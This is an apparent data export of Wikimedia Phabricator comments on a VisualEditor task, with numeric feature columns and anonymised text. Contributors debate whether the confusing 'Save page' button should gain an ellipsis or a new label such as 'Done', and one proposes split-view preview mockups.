* The only feedback I remember that was contra ellipsis itself came from @Krinkle (""It doesn't clarify or improve the user experience, it only makes it more mysterious.""). 
* The  character could be either included via CSS or in the translation messages.  
* The ""does the save button save immediately?!"" is an actual problem (at least according to German Kurier and feedback on enwiki according to @TTO )

With ellipsis, it would look like 

{F7336409}

@Pginer-WMF – what do you think? And: Who is the one to decide about this?",,,1504543438,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0.5,0.0,0.0,0.5,0.5,5.0,2.5,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.5,0.0,3.0,8.0,0.0,0.5,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.5,1.0,0.5,5.5,1.5,3.5,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,11.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,7.0,3.5,12.0,1.0,3.5,8.5,0.0,0.0,0.5,0.0,4.5,0.0,0.5,0.0,5.5,8.0,5.0,2.0,3.0,0.0,5.5,0.0,1.0,2.0,0.5,1.5,0.5,1.0,0.0,3.8580246913580245,0.7777777777777777,"It seems that 
* An ellipsis is standard in many UI guidelines, including Mac and Windows (asSCREEN_NAME wrote). It is an UI standard at least since the 90s and basically the icon for ""a window will open"".
* The only feedback I remember that was contra ellipsis itself came fromSCREEN_NAME (""It doesn't clarify or improve the user experience, it only makes it more mysterious.""). 
* The  character could be either included via CSS or in the translation messages.  
* The ""does the save button save immediately?!"" is an actual problem (at least according to German Kurier and feedback on enwiki according toSCREEN_NAME )

With ellipsis, it would look like 

{F7336409}
SCREEN_NAME-WMF – what do you think? And: Who is the one to decide about this?"
913462,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Yep, I’ve put the word ‘Done’ in my mockups.",,,1502922724,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,215,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5714285714285716,1.0,"Yep, I’ve put the word ‘Done’ in my mockups."
913451,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","What about ""Complete..."", ""Final review"" or similar term to indicate the button will lead to the publication, but not being a ""Publish"" button?",,,1502921848,,PHID-USER-unpoeiyj52rmcfqi5rbw,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,215,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,6.0,3.0,18.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.7272727272727273,"What about ""Complete..."", ""Final review"" or similar term to indicate the button will lead to the publication, but not being a ""Publish"" button?"
870850,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Related to this, there is an [[ https://de.wikipedia.org/w/index.php?title=Wikipedia:Kurier&oldid=166132048 | article on the German signpost equivalent ""Kurier"" ]], in which as user talk about having trouble finding the save button and difficulties on clicking on ""save"", assuming it might save directly. 

> »Zunächst einmal sucht man vergeblich einen Knopf für die Vorschau.  Wie heißt es doch: „Sei mutig!“ Wir drücken also einfach ohne Vorschau auf „Änderungen speichern“ «

> Roughly translated: »We search unsuccessfully of the ""preview"" Button … They say ""Be brave"" and we press without preview on ""Save Changes""«",,,1496766716,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,205,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,7.0,0.0,2.0,0.0,2.0,2.0,0.0,7.0,0.0,2.0,2.0,3.8333333333333335,0.7407407407407407,"Related to this, there is an [[ URL | article on the German signpost equivalent ""Kurier"" ]], in which as user talk about having trouble finding the save button and difficulties on clicking on ""save"", assuming it might save directly. 

QUOTE

QUOTE"
864395,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Frigory, @Jan_Dittrich: There is a task for this, where all this stuff should probably go, please see T155732",,,1495620185,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,203,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.8181818181818182,"SCREEN_NAME,SCREEN_NAME: There is a task for this, where all this stuff should probably go, please see T155732"
864367,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Hi @Frigory, Hi @Dvorapa,

I like these ideas! I suppose they should have their own ticket. The current ticket was just meant to make the button actions clearer. Your suggestion extends the scope a lot. 
Can you copy it in a separate tasks and mention this one (T44138)? Thus they would be kept connected and allows each one to focus on the button, two column view or both. 
If you need help doing it, please write me or tell here. ",,,1495617839,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,203,,1.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,6.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,11.0,1.0,4.0,11.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,0.0,12.0,5.0,3.0,1.0,0.0,0.0,12.0,0.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,3.8191489361702127,0.7659574468085106,"HiSCREEN_NAME, HiSCREEN_NAME,

I like these ideas! I suppose they should have their own ticket. The current ticket was just meant to make the button actions clearer. Your suggestion extends the scope a lot. 
Can you copy it in a separate tasks and mention this one (T44138)? Thus they would be kept connected and allows each one to focus on the button, two column view or both. 
If you need help doing it, please write me or tell here. "
861724,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","So I could imagine something like this.

- Possibility to have frames in the same dropdown, and an additional option for separate scrollbars: {F8119433}
- A dropdown in the top right-hand corner of each frame to choose its content: {F8119439}
- The splitted view: {F8119442} (the bar at the middle can be moved)
- In the content selection, a ‘Switch panels’ option (I don’t know if the correct word should be ‘frame’ or ‘panel’), and the content of the other panel is grayed; also, a ‘Refresh’ button for the preview: {F8119451}

Of course there should be other icons (‘Refresh’ should be an icon).

This way the toolbar is even shorter than before, because ‘Done’ is shorter than ‘Publish changes’ — :).",,,1495137268,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0.5,0.5,0.0,1.0,0.0,7.0,2.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.5,1.0,0.0,4.0,8.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,14.5,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.0,4.0,9.5,1.0,1.5,9.5,0.0,0.5,0.0,0.0,4.5,0.0,0.0,0.0,1.5,8.5,3.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,3.449452804377565,0.6839945280437756,"So I could imagine something like this.

- Possibility to have frames in the same dropdown, and an additional option for separate scrollbars: {F8119433}
- A dropdown in the top right-hand corner of each frame to choose its content: {F8119439}
- The splitted view: {F8119442} (the bar at the middle can be moved)
- In the content selection, a ‘Switch panels’ option (I don’t know if the correct word should be ‘frame’ or ‘panel’), and the content of the other panel is grayed; also, a ‘Refresh’ button for the preview: {F8119451}

Of course there should be other icons (‘Refresh’ should be an icon).

This way the toolbar is even shorter than before, because ‘Done’ is shorter than ‘Publish changes’ — :)."
860648,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of a space in a toolbar or why text labels should be avoided was discussed in detail in T116417 or T153306 or above I guess.",,,1494958136,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,13.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,13.0,4.0,7.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,13.0,6.0,0.0,4.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.7777777777777778,"No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of a space in a toolbar or why text labels should be avoided was discussed in detail in T116417 or T153306 or above I guess."
860647,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of why text labels should be avoided due was discussed in detail in T116417 or T153306 or above I guess.",,,1494958069,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,14.0,4.0,6.0,8.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,12.0,6.0,0.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7346938775510203,0.8367346938775511,"No, if I add just a button with ""Preview"" and dropdown arrow, the symbol button is moved to the second line. The problem of why text labels should be avoided due was discussed in detail in T116417 or T153306 or above I guess."
860640,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","- Separate scrollbars could be a preference.
- Indeed separate toolbars and dialogs are probably a bad idea.
- I don’t understand why the Preview dropdown wouldn’t be convenient? You don’t have enough space for it?",,,1494957310,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,7.0,7.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,2.0,4.0,4.0,0.0,0.0,7.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.022222222222222,0.7777777777777778,"- Separate scrollbars could be a preference.
- Indeed separate toolbars and dialogs are probably a bad idea.
- I don’t understand why the Preview dropdown wouldn’t be convenient? You don’t have enough space for it?"
860632,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Frigory I'm not a dev, but I like your proposals (I've already suggested some of them in a different task). Just be aware of those people with more narrow screens (like me - 1280x768), where those features like separate scrollbars, separate toolbars/dialogs and text ""Preview"" as a dropdown label are not very convenient.",,,1494956623,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,1.0,0.0,1.0,0.0,3.0,10.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,9.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,10.0,1.0,0.0,3.0,0.0,9.0,0.0,1.0,4.0,3.0,0.0,1.0,0.0,0.0,4.014705882352941,0.7647058823529411,"SCREEN_NAME I'm not a dev, but I like your proposals (I've already suggested some of them in a different task). Just be aware of those people with more narrow screens (like me - 1280x768), where those features like separate scrollbars, separate toolbars/dialogs and text ""Preview"" as a dropdown label are not very convenient."
860212,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Hello,

I’m 21, and I have a bit of experience and interest in web ergonomics. I’ve contributed to the design of a few websites (notably [[http://www.france-ioi.org/|this one]], which was really worse before). I’d like to share my opinion on this task as a Wikimedia contributor. I hope I’m not too late.

I’m not sure all my ideas are appropriate here but let’s spread. I’ve realized screenshots on a random article with the DOM manually modified.

For the preview, I’m dreaming about something like this:
{F8094031}

I.e. two (possibly resizable) frames, one containing the code and the other one for preview or reviewing changes.
On my desktop computer, I have two monitors with a resolution of 1920×1080. With this configuration, I could extend my browser window on the two monitors, and have the code on the first one, the preview on the second one.

The initial setup would be:
{F8094055}

Then you would click on ‘Preview’ in the dropdown:
{F8094059}

It would make the preview appear on the right, half width, just like in the first screenshot but a bit larger, till the bottom:
{F8094074}

You could have full preview by sliding:
{F8094102}

You could reload the preview by clicking on the button ‘Preview’. To get the dropdown, you should click on the arrow. If you select ‘Review changes’, then the button’s label would change to ‘Review changes’.

Then for writing the summary, the popup annoys me because it takes more than 1 second to appear. I contribute mainly for minor edits (orthotypo, article structure, etc.) and I sometimes do a bunch of them so I’d like efficient tools.
I would imagine something similar to the Find & Replace panel when you click on ‘Done’:
{F8094203}
(I would also prefer it for template editing because the current dialog lags…)

Other ideas:

- Two different scrollbars: {F8094424}
- With these separate scrollbars, a button to show the section containing the cursor in the preview, and another for the opposite (would be very useful when I’m reviewing long articles). This button could be on the vertical splitting bar.
- For monitors having different sizes: vertically resizable frames (or two different windows?): {F8094520}
- In the ‘Preview’/‘Review changes’ dropdown, a second subsection with 3 choices: Hidden/Splitted/Full to set the frames’ width automatically (or another button which would toggle between these 3 choices when clicked): {F8094595} I’m also suggesting new labels there. ‘Reviewing the changes’ is actually like viewing a preview of the changes.
- Maybe having separate toolbars/dialogs in the two frames (e.g. Find & Replace with the wikitext, Publish with the preview)…

Note that, currently, I’m often using two different windows for editing: the first with the wikitext editor and the second with the published article (to explore it and make the fixes at the same time; but it is quite a pity not to view the changes I’m realizing).

I’m not sure I’m the ‘common’ editor but to me it would really be simpler to improve the quality of articles with such an interface, and newbies might appreciate it too.

What do you think about all this? I can give more details if you feel there’s a gap somewhere.",,,1494907566,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,202,,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.0,0.5714285714285714,6.0,0.8571428571428571,0.2857142857142857,0.0,0.2857142857142857,1.2857142857142858,0.0,0.0,0.0,0.14285714285714285,4.142857142857143,0.42857142857142855,5.142857142857143,10.571428571428571,0.2857142857142857,1.1428571428571428,0.14285714285714285,0.0,0.0,0.14285714285714285,0.14285714285714285,0.0,0.0,0.8571428571428571,1.2857142857142858,0.2857142857142857,3.857142857142857,1.5714285714285714,1.0,0.2857142857142857,1.1428571428571428,0.2857142857142857,0.14285714285714285,0.7142857142857143,0.2857142857142857,0.0,0.14285714285714285,0.14285714285714285,0.8571428571428571,0.0,0.2857142857142857,0.0,0.0,0.0,14.714285714285714,0.42857142857142855,0.7142857142857143,0.2857142857142857,0.7142857142857143,0.2857142857142857,0.0,0.0,0.0,0.7142857142857143,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.0,0.5714285714285714,0.14285714285714285,0.2857142857142857,0.0,8.428571428571429,1.1428571428571428,10.285714285714286,1.4285714285714286,2.5714285714285716,10.571428571428571,0.0,0.0,0.0,0.0,4.714285714285714,0.2857142857142857,2.2857142857142856,0.0,6.571428571428571,10.571428571428571,2.857142857142857,0.2857142857142857,0.0,0.0,6.571428571428571,0.0,0.8571428571428571,1.8571428571428572,0.42857142857142855,2.142857142857143,0.7142857142857143,0.0,0.5714285714285714,3.798484848484848,0.6931890331890332,"Hello,

I’m 21, and I have a bit of experience and interest in web ergonomics. I’ve contributed to the design of a few websites (notably [[URL one]], which was really worse before). I’d like to share my opinion on this task as a Wikimedia contributor. I hope I’m not too late.

I’m not sure all my ideas are appropriate here but let’s spread. I’ve realized screenshots on a random article with the DOM manually modified.

For the preview, I’m dreaming about something like this:
{F8094031}

I.e. two (possibly resizable) frames, one containing the code and the other one for preview or reviewing changes.
On my desktop computer, I have two monitors with a resolution of 1920×1080. With this configuration, I could extend my browser window on the two monitors, and have the code on the first one, the preview on the second one.

The initial setup would be:
{F8094055}

Then you would click on ‘Preview’ in the dropdown:
{F8094059}

It would make the preview appear on the right, half width, just like in the first screenshot but a bit larger, till the bottom:
{F8094074}

You could have full preview by sliding:
{F8094102}

You could reload the preview by clicking on the button ‘Preview’. To get the dropdown, you should click on the arrow. If you select ‘Review changes’, then the button’s label would change to ‘Review changes’.

Then for writing the summary, the popup annoys me because it takes more than 1 second to appear. I contribute mainly for minor edits (orthotypo, article structure, etc.) and I sometimes do a bunch of them so I’d like efficient tools.
I would imagine something similar to the Find & Replace panel when you click on ‘Done’:
{F8094203}
(I would also prefer it for template editing because the current dialog lags…)

Other ideas:

- Two different scrollbars: {F8094424}
- With these separate scrollbars, a button to show the section containing the cursor in the preview, and another for the opposite (would be very useful when I’m reviewing long articles). This button could be on the vertical splitting bar.
- For monitors having different sizes: vertically resizable frames (or two different windows?): {F8094520}
- In the ‘Preview’/‘Review changes’ dropdown, a second subsection with 3 choices: Hidden/Splitted/Full to set the frames’ width automatically (or another button which would toggle between these 3 choices when clicked): {F8094595} I’m also suggesting new labels there. ‘Reviewing the changes’ is actually like viewing a preview of the changes.
- Maybe having separate toolbars/dialogs in the two frames (e.g. Find & Replace with the wikitext, Publish with the preview)…

Note that, currently, I’m often using two different windows for editing: the first with the wikitext editor and the second with the published article (to explore it and make the fixes at the same time; but it is quite a pity not to view the changes I’m realizing).

I’m not sure I’m the ‘common’ editor but to me it would really be simpler to improve the quality of articles with such an interface, and newbies might appreciate it too.

What do you think about all this? I can give more details if you feel there’s a gap somewhere."
841692,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",@Liuxinyu970226 That should be possible with CSS or HTML/CSS without big issues if requested and agreed upon.,,,1492070083,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,197,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,10.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,SCREEN_NAME That should be possible with CSS or HTML/CSS without big issues if requested and agreed upon.
841094,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3171667, @Tgr wrote:
>>>! In T44138#3171527, @Elitre wrote:
>> Do we know if there's an equivalent for the ellipsis for every language we support?
> 
> Looking at the translations for the [[https://translatewiki.net/w/i.php?title=Special:Translations&message=MediaWiki%3AEllipsis|ellipsis]] and some messages containing it ([[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Watching&namespace=8|1]], [[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Moredotdotdot&namespace=8|2]]) it would seem so.

Would it be possible to migrate all ellipsis of MediaWiki core and extensions in all languages to use ""…"" (by default, i.e. if we don't provide translations), which can help extract a lot?",,,1492008872,,PHID-USER-chrmcih5qjpx5buo7vx6,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,12.0,12.0,2.0,4.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.6666666666666665,0.7843137254901961,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Would it be possible to migrate all ellipsis of MediaWiki core and extensions in all languages to use ""…"" (by default, i.e. if we don't provide translations), which can help extract a lot?"
841067,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",On desktop it's very widely used. See e.g. [[https://msdn.microsoft.com/en-us/library/windows/desktop/bb226792(v=vs.85).aspx|Microsoft]] and [[https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/OSXHIGuidelines/TerminologyWording.html#//apple_ref/doc/uid/20000957-CH15-SW3|Apple]] button design guidelines.,,,1492006934,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.380952380952381,0.7619047619047619,On desktop it's very widely used. See e.g. [[URL and [[URL button design guidelines.
840401,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.

Yes, it is not very widely used on buttons. Checking some applications (Libreoffice and Ubuntu System  Settings), I found that: 
* Few of the buttons I checked open new windows/popups anyway (makes sense, I assume, a button usually triggers an action)
* For the buttons which open a new window, several had ""…""  (In Setting: ""Network""/""use as hotspot…"" ; ""Language Support""/""install / remove Languages…""; ""Security and Privacy""/ ""Files & Applications""/ ""Clear Usage Data…"")

So, not //widely// used, but used, if it opens new windows. 

 I think it would be an improvement.",,,1491926565,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,1.5,0.0,0.5,0.0,1.0,3.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.5,0.0,4.0,3.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.0,1.0,17.0,1.0,2.5,4.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,4.0,4.0,8.0,0.0,7.5,0.0,4.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,3.6716417910447765,0.7462686567164178,"QUOTE

Yes, it is not very widely used on buttons. Checking some applications (Libreoffice and Ubuntu System  Settings), I found that: 
* Few of the buttons I checked open new windows/popups anyway (makes sense, I assume, a button usually triggers an action)
* For the buttons which open a new window, several had ""…""  (In Setting: ""Network""/""use as hotspot…"" ; ""Language Support""/""install / remove Languages…""; ""Security and Privacy""/ ""Files & Applications""/ ""Clear Usage Data…"")

So, not //widely// used, but used, if it opens new windows. 

 I think it would be an improvement."
840383,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","
>>! In T44138#3162853, @Jan_Dittrich wrote:
>> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
> 
> I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
> I would love to see an improved wording on the button itself, but util then, I’d go with …

I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.

>>! In T44138#2087472, @Tgr wrote:
